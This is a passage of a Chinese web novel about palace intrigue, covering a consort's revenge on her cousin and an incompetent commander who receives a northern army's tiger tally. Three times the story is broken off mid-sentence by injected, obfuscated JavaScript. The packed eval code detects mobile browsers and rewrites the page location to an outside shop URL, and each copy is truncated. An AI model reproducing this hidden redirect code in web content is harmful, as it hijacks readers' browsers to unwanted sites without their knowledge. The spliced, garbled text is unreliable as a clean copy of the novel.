陈灵珠不敢相信自己的耳朵,差点要上手掐他逼问是什么意思。 李济在她发作之前连忙笑道:“傅映瑶不是常说你是小仙子吗,为夫也觉得是。” 陈灵珠:“……” 她不由面红耳赤,但输人不输阵,她傲娇道:“谁要听这些话?” 李济笑看着她,陈灵珠被他看得愈发脸红,拉他的手道:“好了好了,吃饭去,我快要饿死了。” 李济被她拉着往前,一路走一路笑。 丫鬟婆子们见此情形,都转过脸偷笑。 次日镇国公府为李照葵摆出阁宴。镇国公府是簪缨世家,李照葵又是二房唯一的女儿,二夫人竭尽所能,国公夫人也尽力帮衬,自然将这出阁宴料理得妥妥当当。 这一日,高朋满座,宝马香车云集,着实热闹。李济、陈灵珠作为镇国公府的世子和世子夫人,自然是要出面招待宾客的,一人在外,一人在内,将宾客们招呼妥帖。 眼看客人来得差不多了,正要开席,一个肥头大耳的男人忽然冲了进来,国公府的管家小跑着跟在后面。 原来杨绾柔的父亲杨见从青楼买醉回程途中见镇国公府大摆宴席,便下了马,不管不顾地闯了进来。 镇国公府与杨府之间,除了李照芙和杨绾柔曾经有过短暂的“友谊”外,平日里着实没什么交情。国公夫人曾在相国寺遇到杨绾柔和她的母亲金氏,本来对她们母女有些好感,但后来听说了杨绾柔暗地里做的事,也就歇了与杨府来往的心思。 李济因为此前杨绾柔传流言污陈灵珠名声的事,对杨绾柔乃至杨府都印象不佳,所以尽管杨府最近炙手可热,镇国公府却并没有下请帖给杨府。但虽是杨见不请自来,到底来者是客,今日这样大喜的日子也不宜闹出什么来,便道有失远迎,请杨见入席就坐。 但杨见岂肯轻易罢休。自从杨绾柔封妃,他这个父亲沾光封了节度使,经常被称为“国丈”后,他的自信心和自尊心都得到空前的膨胀。 想他堂堂杨妃的亲爹,近日去哪里不是前呼后拥、高居上座?镇国公府竟然敢连帖子也不给他一张!如今又想随便就将他打发了? 杨见一是喝了酒,二是最近横行霸道惯了,骂道:“老子的女儿是宫里唯一有孕的嫔妃,你们镇国公府竟敢不将老子看在眼里!你们等着,等老子的女儿生了太子,老子让他把你们满门抄斩!” 镇国公府虽然不愿在今日与人争执,但并不是不敢。李济见杨见说话不堪入耳,分明是来闹事的,也不再客气,吩咐家丁将他扔了出去。 杨见摔了一身的泥,在外闹了一阵,就进宫找他女儿主持公道去了。 杨绾柔听说父亲让镇国公府如此对待,怒不可遏,待父亲走后,便去找了皇帝。 因为杨绾柔肚子的关系,皇帝近来对她可谓百依百顺,但这一次,他却有些为难,还道:“不请便不请罢,你爹自己去找这个晦气做什么?” 杨绾柔哭道:“陛下,妾的父亲也是好心,想着给他们道贺,谁想到镇国公府会这样欺负人? 不看僧面看佛面,打狗还看主人呢,他们这样对待妾的父亲,就等于看不起妾,看不起妾,就等于不将陛下看在眼里。陛下,您可千万要帮妾作主啊!” 对于此事,皇帝也是暗生闷气,见杨绾柔哭个不停,怕伤了她肚子里的孩子,连忙哄她道:“好了好了,爱妃别哭了,朕明日便将李济传进宫来,骂他几句替爱妃出气。” 只是骂几句怎么解恨,杨绾柔哭哭啼啼,皇帝怕她肚子里的孩子出事,终于道:“爱妃,朕不是不帮你出气,而是不能啊!” 杨绾柔闻言大惑不解,不能?为何不能? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928730|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果陛下都不能替她出气,那谁才能? 她进宫来就是想要皇帝的庇护,让她不必再居于人下,结果她好不容易坐到这个位置,陛下却告诉她,她还是得对镇国公府忍气吞声? 陛下叹了口气,将他对镇国公府的忌惮和目前的情形告诉了她。 “爱妃稍安勿躁。”皇帝安慰她道:“总有一日,朕会灭了镇国公府,为爱妃出气。” 杨绾柔大吃一惊,一开始有些心塞,但之后细想,却又不禁欣喜。 如今太平盛世,胳膊是拧不过大腿的,李济再有权势,她也不信他能造反。 既然如此,皇帝越忌惮李济,与李济闹得越僵,对她就越好。 她今日本来想小小地告镇国公府一状,在陛下心里埋下一根刺,但她着实没想到,原来陛下比她更恨镇国公府。 好极。 如此,不必她费力挑拨,陛下就会杀了李济,杀了陈灵珠了! …… 出阁宴那日的晚上李照葵是和母亲一起睡的,她像幼时那样偎依在母亲怀里,母亲也像幼时哄她那样拍着她的背。二夫人作为母亲,将自己对夫妻、公婆、妯娌等的相处之道的心得,又一遍地细细告诉自己的女儿。 最后,她道:“葵儿,你是娘的心肝,从小又懂事又聪明,但做女儿与做媳妇不同,别人未必会识得你的好,你若受了委屈,千万不要忍着,回来告诉娘,娘就算拼了这条命,也会帮你做主。” 二夫人平素争强好胜,嘴上不饶人,但疼儿女的心任谁也无法指摘半分。李照葵听了母亲的话,感动地湿了眼眶,道:“女儿知道了。娘不必担心女儿,倒是娘,千万要保重自己。” 次日便是李照葵出门的正日子,按规矩,李照葵出嫁前二夫人应当说一些吉祥和告诫的话,喜娘将李照葵搀到李融和二夫人夫妇面前,二夫人抖了抖嘴唇,道:“葵儿,你须记得事舅姑如事父母,睦妯娌如睦姐妹……” 话未说完,她便说不下去了。 女儿远嫁,这一出门,也不知三年还是五载才能见一回,虽说姑娘大了要嫁人是人之常情,可那是她身上掉下的肉啊,如宝如珠地养了十几年,如今说给别人就给别人,跟剜了她的心有什么两样? 二夫人泪如雨下,李照葵见母亲哭成这样,哪里还忍得住,当下更是泪雨滂沱。 陈灵珠见此,也眼含泪花。李照葵被李海背着出去了,陈灵珠拿出帕子,擦了擦眼泪。 李济问她:“难受?” 她点了点头,“嗯。” 她是有些感动的。二夫人虽时常挑事,但对一双儿女,那是真疼到了骨子里,旁人如何想她不知道,但她是真的羡慕李照葵。 遥想她出嫁时,她的母亲何曾有半分舍不得,反而遵着她父亲的意思,盯着她,怕她不上花轿。 李济低声道:“是我亏欠了你。” 陈灵珠一愣。李济大概是误会了,以为她是因为李照葵的婚礼热热闹闹,而她的婚礼冷冷清清而难过。但她并不在意这个。 她摇头道:“夫君不曾亏欠我。” 他笑了笑,牵起她的手,与她一起出门看着李照葵的花轿远去。 75. 第 75 章 到了十一月,定州、代州、瀛洲陆陆续续有消息传来,说有胡人滋扰。 李济多次上书请求回定州,皇帝依然以担心他的身体为由,将他拦了下来。 看着御案上李济的奏疏,皇帝冷冷一笑。 他部署至今,好不容易拿回了兵权,若让李济回到边关,岂不是前功尽弃? 不过,北部一直无主帅也不是事儿,他还是得尽快将手中的兵符交给可信的人。只是,若他将虎符交给他人,他对镇国公府的忌惮恐怕就遮掩不住了。但眼下也顾不得这许多了,无论如何,他都不能将兵权交给李济。 于是这日,李济在朝会上再次提出这个问题时,皇帝道:“济之,你是难得的将才,朝廷的肱骨,不过,你身子未完全痊愈,朕实在放心不下。你且安心待在工部,待你养好了伤,朕再让你重掌北部雄兵!对了,工部尚书一职也空悬了一段时日,济之,你就多费些心思,替朕看好这工部。” 从古至今从无哪个武将受伤要“完全痊愈”才能上战场,何况李济已养伤半年有余,如今身形轻捷,步履矫健,整个人英姿勃发,分明痊愈已久。 如今李济想回边关,陛下却百般阻挠,虽说如今升了李济为工部尚书,但这升迁怎么看怎么怪,倒像为了留住他不得已而为之。 朝臣们一时偷偷看皇帝,一时又偷偷看李济,都后知后觉地醒悟过来,都说陛下对李氏父子信重有加,如今看来可未必! 还未从暗中揣测中回神,就听得皇帝道:“众位卿家,李卿在京养伤,北部需另遣一员大将去主持大局,谁人合适,众卿家可各抒己见。” 朝臣们又是暗暗吃惊,陛下不让李济回北部,还要将虎符交出去,那是不是说,他对镇国公父子的忌惮,已经不想再掩饰了? 众人眉目无声交流,再看皇帝,只见他虽微笑着,眼角却似乎露出一丝急切,道:“不论官阶高低,凡有能力者皆可举荐。” 首先有朝臣推举孙鼎。 孙鼎是一员猛将,曾经以直入对方阵营取对方主帅首级而一鸣惊人。 而后,其在大大小小的战役中胜多败少,深得先帝的赏识,被封为冠军大将军,并一度差点与镇国公府结为儿女亲家,一时风光无限。 但随着先帝的驾崩,孙鼎的好运似乎也到头了,女儿还未过镇国公府的门便摔下了悬崖,随后又被弹劾虐待士兵、贪墨军饷,最终丢了官,被投闲置散。 皇帝微笑着听那人夸奖孙鼎,眸光却渐渐变得暗沉。 孙鼎的女儿差点嫁给了李济,听说如今私底下与镇国公府还有来往,他如何能将兵权给孙鼎! 给了孙鼎,与给了镇国公府又有何区别?不过是左手倒右手罢了! 他微笑着摇头道:“孙鼎勇猛,但……我朝人才济济,众爱卿可以大胆举荐其他的人选。” 这就是不想用孙鼎的意思了,又有人举荐忠勇侯及其子张现。 忠勇侯府是武将世家,忠勇侯张武本人功勋卓著,其子张现以勇猛见长,是年轻人之中不可多得的人物。 皇帝笑容更深,心中却更加不悦。 镇国公父子果然党羽众多,怎么举荐的又是镇国公府的亲朋故旧! 张现可是李济的莫逆之交,与李济穿一条裤子长大的。 “忠勇侯虽勇武无敌,只是已赋闲多年,年纪也大了,再上战场只怕力有所不逮。至于忠勇侯世子张现,倒是有勇有谋,只是到底实战经验过少,众爱卿可还有其他人选?” 朝臣陆续又举荐了几个,皇帝皆摇头。 朝臣们再次面面相觑,有领军能力的武将可不是市集上的白菜,随处一抓就有的。 陛下这个也不要,那个也不好,难道是早就有了中意的人选? 果然,这时有人出列道:“陛下,微臣举荐周作。” 周作是武安侯之子,因其父亲的关系,担任正五品的龙卫四厢都指挥使,负责京城防卫。 但周作其人,属实是个酒囊饭袋,虽担任着禁军的重要职位,却屡次闹笑话,让他直接担任二十万兵马的主帅,简直是将北部的安危置之不顾。 张武、顾谓,甚至陈进等人的脸色皆是一变,李济面色不变,却也是微微抬头,看向御座上的皇帝。 这个人莫不是疯了? 忠勇侯张武道:“周作不过是一个五品的都指挥使,如何能挑得起这样的大梁?” 举荐周作的人反应也快,立即反唇相讥道:“如今是推荐有才能之人,若一昧以职级论,直接将官职最高的选出来就好了,何必举荐!何况周大人作为龙卫军的统领,职位虽低,却是禁卫军的核心,为何不能挑大梁?” 张武大怒,与那人吵了起来。 李济道:“陛下,微臣以为,北部位置关键,一个不慎,胡人就会长驱直入。请陛下慎重考虑,派遣合适的人选。” 对他来说,皇帝无论派谁去,结果都是一样的。甚至周作与有能力的武将相比,对他更有好处,可这么做,无异于将北部百姓的性命当作儿戏。 皇帝微笑不语,陈进看了一下皇帝的脸色,不由暗自心惊,犹豫了一番想开口,但想到皇帝本就对自己不满,若自己站到李济那一边,只怕会彻底激怒皇帝。 暗暗攥了攥拳头,他无力地闭上了眼。 忠勇侯道:“陛下,朝廷年富力强的武将众多,周都指挥使年纪尚轻,微臣以为,应以历练为主。” 这话已经很客气了,他是顾虑陛下的面子,才如此轻描淡写,实际上在他眼中,武安侯那个儿子就是个饭桶,扶不起的阿斗。让他接飞雄军的兵符?简直胡闹! 皇帝笑容微敛,瞥他一眼,还是不说话。 武安侯恨恨地瞪张武一眼。什么意思?他的儿子没有能力吗?没有经验吗?谁给的胆子让张武这样说话!这老匹夫!偏这个时候来碍他的事! 张武也反瞪回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934418|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,其他人怕武安侯,他可不怕!周作算个什么东西,武安侯怎么有脸让他这废物儿子当北部主帅的?要铲除镇国公府他不反对,但让周作当北部主帅,那就是把人命当儿戏! 举荐周作的那人快速看武安侯一眼,又道:“陛下,所谓英雄出少年,周将军年纪虽轻,却智勇双全,胸有城府,陛下何妨让他一试?” 武安侯忙道:“陛下,周作虽是微臣之子,但微臣厚着脸皮说一句,犬子的能力,绝对堪当北部主帅!” 李济再次恳求道:“请陛下三思!” 忠勇侯张武、尚书左仆射赵文、刑部侍郎顾谓等亦道:“请陛下三思!” 皇帝脸上的笑容渐渐消失。他何尝不知道把兵权交给周作有些冒险,但其他武将,要不就拿不出手,要不就跟镇国公府有着千丝万缕的关系,兵符交到其他人手里,他不放心。面色变了几变,他最终无视反对的声音,道:“周作,朕对你寄予厚望,你可不要让朕失望。” 这就是将事情定下来了。周作大喜,跪地称是,说定会肝脑涂地,死而后已,武安侯等人则大颂陛下圣明。 散朝后,武安侯周简和其子周作喜气洋洋地向恭贺他们的人拱手还礼。 他斜眼看了眼陈进,呵,那老匹夫倒是会装模作样,皱着眉头装忧国忧民给谁看呢!不消说,这老匹夫之后定会求见陛下,但陛下怎会见他! 懒得再理陈进,他朝李济似笑非笑地拱手道:“李尚书果然年轻有为,这么快就又升任尚书了,恭喜恭喜啊。” 李济冷冷看他一眼,道:“周大人,希望令郎不要跟你一样,否则,只会害人害己。” 说罢不再理他,转脚走了。 武安侯气了个倒仰,这小匹夫! 什么叫“希望令郎不要跟你一样”?他差哪儿了?他的儿子天纵奇才,比他这小匹夫又差哪儿了? 这小匹夫不过是命好,早年捡了几次军功坐上了高位,怎么就敢当面讽刺他! 他气得牙痒,恨不得追上去跟李济吵个清楚明白。 周作打发了前来奉承的官员,走过来问:“爹,李济说什么?” 武安侯本是要自己执掌北部兵权的,但他虽孔武有力,却不曾真正领过兵,又怕自己离了皇帝身边,不能时常进言,皇帝被陈进或其他人哄了去。左思右想,最后将有领兵经验的大儿子挑了出来,让他替自己去边关掌兵。在他看来,他的大儿子虽算不上绝顶聪明,但也熟读兵书,只要稍加历练,成为名臣悍将根本不是什么难事儿。 他将李济说的话告诉儿子,又道:“作儿,你要好好表现,不要辜负了陛下和爹的期望。” 周作如今志得意满,二十万大军在手,他还有什么怕的,拍着心口保证:“爹,你就放心好了,我一定做得比那李济好十倍、一百倍,让那些看不起孩儿的人心服口服!” 武安侯欣慰地拍了拍周作的肩膀,有儿子这句话,他就放心了。 76. 第 76 章 次日,荣升大将军的周作受一帮朋友邀请,去青楼喝花酒。 到了时,一帮纨绔子弟纷纷恭喜他,说他年纪轻轻执掌飞雄军帅印,前途不可限量,其中一人道:“这可是从李济手中抢过来的,兴之兄,如今李济也是你的手下败将了!” 听到自己比李济还厉害,周作不免有些飘飘然。因为他的父亲一直跟镇国公明里暗里较劲的缘故,他偶尔也忍不住拿自己与李济比较。 虽然在外人嘴里,李济就好像太阳一般耀眼夺目,但在他心里,自己也不差什么。 可惜众人看不到他的本事,只将李济夸个不停。 他心里老大不服气,只是一直没有机会与李济较量,如今他将李济的兵权夺了过来,不就相当于打败了李济?所以这人说“李济是他的手下败将”并没有什么错。 他得意地哈哈大笑,拍拍那人的肩膀道:“你小子真会说话!” 那人跟着哈哈笑,这时,又有一人凑了上来,恭喜他道:“兴之兄,我也敬你一杯,兴之兄简直是吾辈之典范!” 周作看这人,原来是宫里杨妃的长兄,杨舒。 杨绾柔有孕之后,不仅她的父亲杨见成了节度使,她的兄弟们也沾了光,譬如她的这位长兄杨舒,就被封了个五品的中大夫。 虽然都是虚职,但杨家因杨妃的受宠而升起之势显而易见,杨舒也就顺利地融入了从前融不入的圈子。 若是从前,周作自然是理也不会理这杨舒的,但今时毕竟不同往日,谁让人家妹妹的肚子比他妹妹的肚子争气呢。而且他听说,这杨舒于吃喝玩乐一途也十分有天分。 当下便也笑道:“文韬兄客气了,同喜同喜。” 说着与杨舒喝了一杯。 二人你来我往,勾肩搭背,互相奉承,看上去仿若多年的好友,至亲的兄弟。 又一人道:“今日庆贺兴之兄成为大将军这么大的事,难道就干喝酒吗?” 众人大笑,另一人道:“经纬兄莫急,我早就将各位的相好叫过来了,到时候干的湿的都齐备,凭君所好,任君选择!” 众人又是大笑。 不久,十数个千娇百媚的妓子鱼贯而入,其中两个与周作相熟,径直坐到他的身边。 周作便一手搂了一个,交头吻.颈,放浪形骸。 与妓子们胡闹了一番,周作却又觉得无趣起来,嚷嚷着要带众人去郊外别庄赏月。 众人自然都说好,周作与两个妓子同车,一路往城外去。 行经聚味楼附近,周作忽道:“停!” 众人正不明所以,他已跳下了车,踉踉跄跄往两个人影冲去。 原来周作看到了今晚被他们提起无数次的那个“手下败将”——李济。 李济就在眼前,周作控制不住他的得意,冲到李济面前,哈哈笑道:“李尚书怎么也在这里?哦,本大将军知道了,必是来庆贺升任工部尚书的。李尚书,真是恭喜恭喜啊。” 李济漠然地看了这人一眼,将原本与他并行的陈灵珠拉到身后。 见李济不应,周作得寸进尺道:“对了,还没跟李尚书说一声:承让了。” 他笃定李济不敢拿他怎么样,如今朝中人人皆知李济明升暗降,被陛下变相夺了兵权,若李济此时敢将他打伤,那就等于告诉别人,他对陛下的决定不满。 他高昂着下巴哈哈大笑,若是平时,他这样笑,身边的人少不得也跟着哈哈笑,给那个被挑衅的人没脸。 但杨舒和另外几人不知是喝醉了还是回事,虽然也下了车,但站在旁边一声不吭。 他哈哈干笑了一阵,见无人附和,只有他一人尴尬强笑,只好停了下来。 李济像看猴子一般看着他,连口都懒得开。周作顿时焦躁起来,照着李济的面门一拳打了上去。李济上半身微微往后一避,再轻轻往侧边一闪,周作就站也站不稳,“啪”地一声摔了个狗吃屎。 大庭广众之下如此丢脸,他不由大怒,爬起来又是嘿嘿几拳,却连李济的衣角都没沾到,反叫李济扭住了手臂,冷声道:“周大将军真是好大的威风,在下佩服。” 说罢将手一甩,周作往后踉跄几步,又摔了个四脚朝天。 他还不肯服气,又挣扎起来,叫杨舒等人:“兄弟们,上!出了事,有我这个大将军担着!” 他大声喊着,杨舒等人却动也未动,他心头火起,转过头正要痛骂,却见杨舒等人正仿若痴呆地看着那个方才被李济拉到身后的女子。 刚才他一心只想着挑衅李济,那女子又带着斗篷,他也没留意,如今见杨舒等人盯着她,不由也细看了两眼。 这一看,却让他酥成了一团。 看这女子的的年纪和李济对她的态度,不消说,这就是嫁入镇国公府的陈家女了。他怎么不知道这陈家女如此美貌!难怪父亲说,连陛下也看上了她,等镇国公府覆灭了,就会把她接入宫中。 他暗暗吞了一下口水,别说车上那些庸脂俗粉,其他美人他也算见过不少,他姐姐就是宫里的宫妃,但眼前这样的,他敢说自己从未见过。 当下也顾不上挑衅李济了,连忙整整刚才摔歪了的发冠,拍了拍屁股上的灰尘,走到陈灵珠面前装模作样地施了一礼,“这位,想必是李夫人了?李夫人,在下周作,刚被陛下提拔为北部统帅。” 陈灵珠对这人的厌恶比武安侯更甚,看也不看他,拉了拉李济的衣袖道:“夫君,我们走。” 周作这样的人,李济原本并不放在眼里,也不屑与这样的人计较,但周作竟敢当着他的面用那等下流的眼神上下打量陈灵珠,简直是找死。 这饭桶当真以为自己不敢动他? 周作听了陈灵珠那彷如出谷黄莺般的声音,身上又是一麻。他也不计较陈灵珠不理他,只顾痴痴地望着,心中暗道可惜。 这女子若不是被陛下看上了,以后李济死了,未必不能成为他的人。 正想得美,忽然一阵劲风袭来,先是眼睛一阵刺痛,然后子孙.根被不知什么东西打中,痛得他冷汗涔涔而下,紧接着一酸一麻,不知怎的就站也站不住 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大将军威风瞬间扫地,可惜周作口不能言,只能将这笔账暗暗记在心里。 折腾了半晌,周作一点好转的迹象也没有,众人都害怕起来,虽说周作变成这样是李济弄的,但要不是出来跟他们喝酒,也不会惹出这事,周作要是有个三长两短,武安侯固然不会放过李济,但能饶了他们? 杨舒急中生智道:“我听说周老大人有一次在宫门前也是这样,周府对这样的病情怎么处理定有经验,咱们快把兴之兄送回去,免得耽误了病情。” 众纨绔都想尽快撇清责任,免得被武安侯府赖上,都称有道理,武安侯府请惯的大夫定然更好,当下七手八脚地抬起了周作,却发现他的身下有一滩水,那“水”还有一股难言的气味。 众纨绔你看看我我看看你,也不好点破,只好责备刚才喷水那人喷得太多,然后将周作连拖带曳地送上了马车。 周作能说话之后,气得将李济的十八代祖宗来回骂了百八十遍——本想连陈灵珠一起骂的,想到她那娇俏可人的模样,心下又有些舍不得,只暗暗发誓,待李济死了,他定要将那美娇娘设法弄到手里,恣意蹂躏一番,才算解了今日心头之恨。 骂了李济半日,又叫喊着说要去皇帝面前告状。 但武安侯不仅没同意,反将他骂了一顿,“你还不够丢人!你把此事闹到陛下面前,让陛下觉得你叫李济打得流口水尿裤子,难道面上有光?你给老子听好了,今日之事你非但不能捅到陛下面前,还得将它捂紧了!否则,万一陛下因为此事怀疑你的能力,将兵符拿了回去,我看你上哪儿哭!” 周作被他爹说的话吓住了,别的都好说,兵符是万万不能拿回去的,他才做了两日大将军,靠着这个名头威风八面,若是陛下将兵符收回去,他还用在那帮兄弟面前混么!当即听他爹的话,乖乖休养了两日,便赶紧走马上任去了。 77. 第 77 章 到了十二月二十,杨绾柔怀孕已有三月,胎算是坐稳了。 宫外的杨家人风光,宫里的杨绾柔更不必说。母凭子贵,堪称一步登天。不说那些普通的妃嫔,就连皇后,在她面前也要小心翼翼,生怕一个不小心惊着了她。淑妃倒是来找过一次茬,但淑妃走后她就以腹痛为由传太医,将皇帝吓得把淑妃狠狠训斥了一顿,若不是看在武安侯和周作的份上,差点要将淑妃禁足。 杨绾柔见此大喜,趁此机会将宫里所有与她有过龃龉、看不顺眼的嫔妃都料理了,包括那个皇帝曾经颇为喜爱,乍看神态有三分像陈灵珠的吴美人。 至此,宫里的嫔妃都躲着她,生怕一个不小心惹祸上身。 杨绾柔一开始得意洋洋,时间一长,却不免有些无趣。 百无聊赖中,她想到了陈灵瑛,想把她召进宫来。 她从安平伯带进宫里的心腹婢女翠玉劝她道:“娘娘如今安胎为重,召表姑娘进宫一事不如缓一缓?” 另一婢女彩玉道:“怕什么,我们娘娘如今愿意召她进宫,还是给她面子呢。” 杨绾柔笑了笑,心里极赞同彩玉的话。她如今,也算是熬出头了,这宫里宫外的女人,除了皇后,谁能与她比肩? 陈灵珠她暂时动不了,难道找陈灵瑛撒撒气也不行? 这么想着,她懒洋洋地靠在美人靠上,口中吩咐道:“就明日罢,把陈灵瑛传进来陪陪本宫。” 翠玉、彩玉二人应是。 次日,陈灵瑛一早便到了柔仪殿。 宫女说,娘娘还未起,让她且等一等。进宫前传令的宫女催她甚急,说娘娘早就等着了,此时却说杨绾柔还未起,陈灵瑛心中略略诧异。但听说有孕的妇人嗜睡,她也不好多说什么,便在宫女安排的一间偏殿里等着。这还是杨绾柔进宫后她们表姐妹第一次见面,陈灵瑛心里也有些期待。 表妹晋了妃位,她心里是替她高兴的。当初担心后宫佳丽三千,各色美人应有尽有,表妹在后宫里日子艰难,如今看来,她比她以为的要能干,运气也好,否则,怎能从三千佳丽中脱颖而出,率先怀了身孕,住在这雕梁画栋的柔仪殿里。 想到这里,陈灵瑛微微动了动脚——这柔仪殿的偏殿布置得美轮美奂,但不知为何,都已经十二月了,炭盆也没放一个。 她冷得搓了搓手,后知后觉地发现,她到了这么久,宫女连茶也没给她一杯。 她微微有些不悦,站起身,对门口的宫女道:“姐姐,这屋子冷得很,可否帮我拿个炭盆过来,让我暖暖身子?若有茶水,烦请也拿一盏过来。” 宫女面无表情地应了,也没为她们的失误道歉,陈灵瑛心中更加不悦,想不明白在这柔仪殿服侍的人怎会这般没有规矩。 想是表妹封妃不久,还未来得及好好调教罢。 炭盆和茶水迟迟没有送来,又等了两炷香时间,陈灵瑛忍不住又站起身,再次问宫女:“娘娘可起了?” 宫女不耐烦起来:“姑娘怎的又问,刚才不是告诉姑娘了吗,娘娘还未起来呢。姑娘这般三催四催,不知道的,还以为姑娘不耐烦等娘娘呢。” 陈灵瑛被这一番抢白气得脸色发青,这宫女也太无礼了,她好歹也是表妹请来的客人,怎的这人如此冲撞? 待会表妹来了,她定是要告诉表妹的。 她坐在偏殿里等,越等越冷——炭和茶没送来,宫女还把遮风的帘子也拉开了,风从四面八方灌进来,吹得她面皮发僵。 她冷得受不住,再次出去跟宫女说让她们把帘子放下,在屋子里放个炭盆,宫女皮笑肉不笑道:“娘娘如今怀着龙胎,闻不得炭味儿,一闻便要吐的。奴婢们这边放了炭盆,那边娘娘就出来了,到时可都是奴婢们的错,姑娘且体谅体谅罢!” 有孕之人对味道敏感也是有的,陈灵瑛便让她们放下帘子,宫女道:“娘娘说了,这屋子一定要通风。” 陈灵瑛道:“那我到别的屋子去罢。” 宫女又阻拦道:“娘娘让安排哪间屋子就是哪间屋子,奴婢可不敢自专。” 陈灵瑛气结,本想拂袖而去,然而杨绾柔她还未见着,因为这几个宫婢闹将起来又有失身份,便忍住了气,自己走来走去暖和身子,想着一会儿杨绾柔出来定要狠狠地告这宫女一状。 又等了一个多时辰,杨绾柔终于出来了。 陈灵瑛冻了近两个时辰,手脚都冻僵了,见杨绾柔终于被宫女扶着款款而出,忙活动了一下手脚,迎上去按规矩行了礼,笑道:“娘娘叫我好等。” 陈灵瑛与杨绾柔是一起长大的,就是她的父亲被贬出京城那两年,两人也没断了通信。在她的心里,杨绾柔比她的异母妹妹陈灵珠要亲多了。 但她心里也明白,无论两人从前如何,如今杨绾柔已成了杨妃,她们便与从前不一样了。所以她该行礼便行礼,也称呼杨绾柔为娘娘,自觉礼数上没有出错。而“娘娘叫我好等”这句话,虽然不够恭敬,但以两人的关系而言,这也远远称不上冒犯,只是比较随意的一句话罢了。 但她没有想到,此话一出,杨绾柔从安平伯府带进来的彩玉率先变了脸色,呵斥道:“大胆!敢跟娘娘这么说话!娘娘怀胎本就困倦,有时候陛下来看娘娘,还怕扰了娘娘宁愿自己等着呢,怎么,陛下万乘之尊都等得,姑娘就这般金尊玉贵,片刻都等不得?” 陈灵瑛大吃一惊,一时有些张口结舌。 她呆呆地看向杨绾柔,杨绾柔笑着看她,却丝毫没有阻拦彩玉为她说话的意思。 她醒悟过来,所以,刚才故意冷着她,不是宫女不懂事,而是杨绾柔这个主子的意思?她有些难以置信,可是往深里想想,若非主子授意,哪个下人敢如此放肆? 一股寒意从脚底升了上来,一直传到了心窝里,让她忍不住打了个寒颤。 可笑她之前,竟还想着要告状让杨绾柔责罚那婢女,岂不知这是人家给的下马威。 她想不明白,杨绾柔为何要如此? 她是何处对不住她?从小到大,无论是吃穿用具,还是金银财宝,她何曾对她吝啬过?她甚至与她一起对付陈灵珠这个亲妹妹,连她进宫的机会,都是她为她争取来的! 陈灵瑛觉得不可思议,从前她的那个表妹,在她的面前,总是与她同仇敌忾,处处为她着想,与面前的这个高高在上的杨妃娘娘,分明判若两人。 难道登上高位,就能让一个人彻底改变吗?还是说,如今这个,才是杨绾柔的真面目? 她低头道:“臣女过去与娘娘随意惯了,一时没注意,口无遮拦,是臣女不懂规矩,请娘娘恕罪。” 说着深深地拜下去。 杨绾柔也不叫起,懒懒道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943078|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表姐不知,这宫里与宫外的规矩不同,有些事情本宫不在意,本宫身边的人却难免要替本宫多想着些。” 她不紧不慢地拿起茶盏,仔仔细细地拨弄茶叶,半晌才道:“表姐快起来罢,把膝盖伤了,姑父要心疼的。你与本宫自小就如亲姐妹一般,怎么还多礼起来?” 从前她费了多少功夫拍这个表姐的马屁,处处看她的脸色,忍受她的大小姐脾气,如今,终于可以报仇了。 为了这一天,她花了多少功夫。 陈灵瑛起了身,杨绾柔让她坐,她才坐到下首。 炭盆早就端进来了,她的身子渐渐暖和了起来,可她还是控制不住地轻轻打颤。之前听说杨绾柔有孕,她还专门找继母打听了一下该如何养胎,想着进宫时告诉杨绾柔,如今想来,这是何等的自作多情。 好些话是不必说了,她垂着头,杨绾柔问一句她答一句。 好不容易杨绾柔肯放过她打发她出宫,又叫人拿出两样一看便是赏下人的首饰给了她,笑道:“这些东西,是赏表姐的。从前表姐赠我东西,如今我也要回馈表姐才是。” 陈灵瑛这才明白,原来从前她赠杨绾柔衣裳首饰,于杨绾柔而言,等同羞辱。她每赠一件,便会让杨绾柔恨她一分。 是她错了。 她颤抖着双手收了,“臣女谢娘娘赏赐。” 待陈灵瑛走远,彩玉道:“娘娘,她不会去告状罢?” 杨绾柔冷嗤一声:“告状?跟谁告状?她爹如今想见陛下都难,何况是她?” 再说了,她对陈灵瑛可是没打没骂,还赏了她东西,谁又能挑她的理? 杨绾柔不是莽撞的人。她也是看准了的,陛下提到陈进便心烦,这陈进眼见得是彻底失了势了,既然如此,她何须跟陈灵瑛客气? 将过去在陈灵瑛身上受的气,一点一点地讨回来,让她也知道,总是看人脸色,拿点东西像被施舍一样,是什么滋味! 陈灵瑛出了宫,失魂落魄地回到陈府的朝霞阁,便把自己锁在屋子里,谁也不见。 